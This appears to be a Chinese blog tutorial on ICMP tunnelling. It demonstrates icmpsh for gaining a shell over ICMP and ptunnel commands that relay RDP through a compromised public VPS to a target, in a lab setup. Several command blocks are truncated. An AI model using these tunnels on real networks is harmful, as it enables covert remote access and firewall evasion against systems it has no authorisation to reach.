icmp隧道基础
ICMP协议既不是基于TCP,也不是基于UDP,而是直接基于网络层的IP协议,在整个网络协议栈中属于相当底层的协议了。用于实现链路连通性测试和链路追踪(我们常用的ping
命令就是基于icmp协议实现的)。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP报文结构
下面介绍一下ICMP报文的结构
1 | ICMP头部分为三个字段: |
ICMP隧道原理
即是把原本其他协议内容通讯,放在选项数据位置,从而伪装成一个ICMP进行通信
值得一提的是,ICMP是控制协议,不需要端口号。
实践搭建隧道
icmpsh
icmpsh是一款使用简单,而且不需要管理员权限即可运行的程序,可以较为简答的搭建隧道并同时获得目标shell
我这里用虚拟机和物理机来进行实验
这是工具的地址https://github.com/inquisb/icmpsh
1 | 下载icmpsh 到本地 |
1 | 执行监听命令,等待回连,IP 192.168.220.146是目标机器 |
1 | 目标机器执行命令格式 |
同时值得注意到是,这个工具是基于python2运行的,python3环境运行的话会报错哦~😅
You need to install Python Impacket library first问题解决方案:
1 | git clone https://github.com/CoreSecurity/impacket.git |
出现下面这种情况说明搭建好了
但是这里搞忘关掉kali本身的icmp服务了,所以导致流量巨大
先关了,然后就可以获得一个交互式shell
ptunnel
这个工具在kali中也是内置的。
1 | 安装 |
执行是可能的报错
1 | error while loading shared libraries: libpcap.so.1: cannot open shared object file: No such file or directory |
执行一下命令
1 | whereis libpcap.so.1a |
可以看到文件是存在的,只是系统找不到,做一个连接就好了
1 | sudo ln -s /usr/local/lib/libpcap.so.1 /usr/lib/libpcap.so.1 |
我们搭建以下环境进行实验(好麻烦)
1 | xxx 公网vps |
vps 执行
1 | ptunnel -p ip2 -lp 3389 -da ip3 -dp 3389 -x cookie |
1 | -p 跳板的公网IP |
你拿下的公网服务器执行
1 | ptunnel -x cookie |
(上面是攻击机的界面)
(上面是跳板机的界面)
然后我们访问攻击机的3389端口,即可远程登陆对应目标